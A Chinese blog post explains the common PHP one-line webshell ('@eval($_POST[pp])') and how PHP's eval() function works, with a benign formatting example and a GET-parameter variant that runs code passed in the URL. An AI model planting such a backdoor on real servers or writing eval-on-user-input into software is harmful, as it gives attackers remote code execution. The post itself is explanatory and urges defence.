大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出。呵呵开个玩笑,其实不是这么简单,这是一段PHP木马代码,也就是我们所说的后门程序
为什么说这段代码是后门程序?
其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件
这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算
就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范
eval函数
eval() 函数把字符串按照 PHP 代码来执行
该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL
如果代码中存在解析错误,则 eval() 函数返回 false
eval函数的一般用法
一般用法也就是平时我们所用的,但是感觉我都不用这个函数,作用相当于Python中的format函数,格式化字符串
$string = "beautiful";
$time = "summer";
$str = 'This is a $string $time morning!';
echo $str. "
";
eval("\$str = \"$str\";");
echo $str;
?>
结果输出:
This is a $string $time morning!
This is a beautiful summer morning!
eval函数的特殊用法
这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码
@eval($_GET["cmd"]);
?>
加上@符来抑制错误输出,来访问?cmd=echo 'hello,world!';这个路径,就会看到输出
查看PHP的信息:pathinfo()
post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种PHP一句话木马程序代码,也感觉是最弱智的。。。
任何个人或团体,未经允许禁止转载本文:《PHP的一句话木马代码和函数eval的简介》,谢谢合作!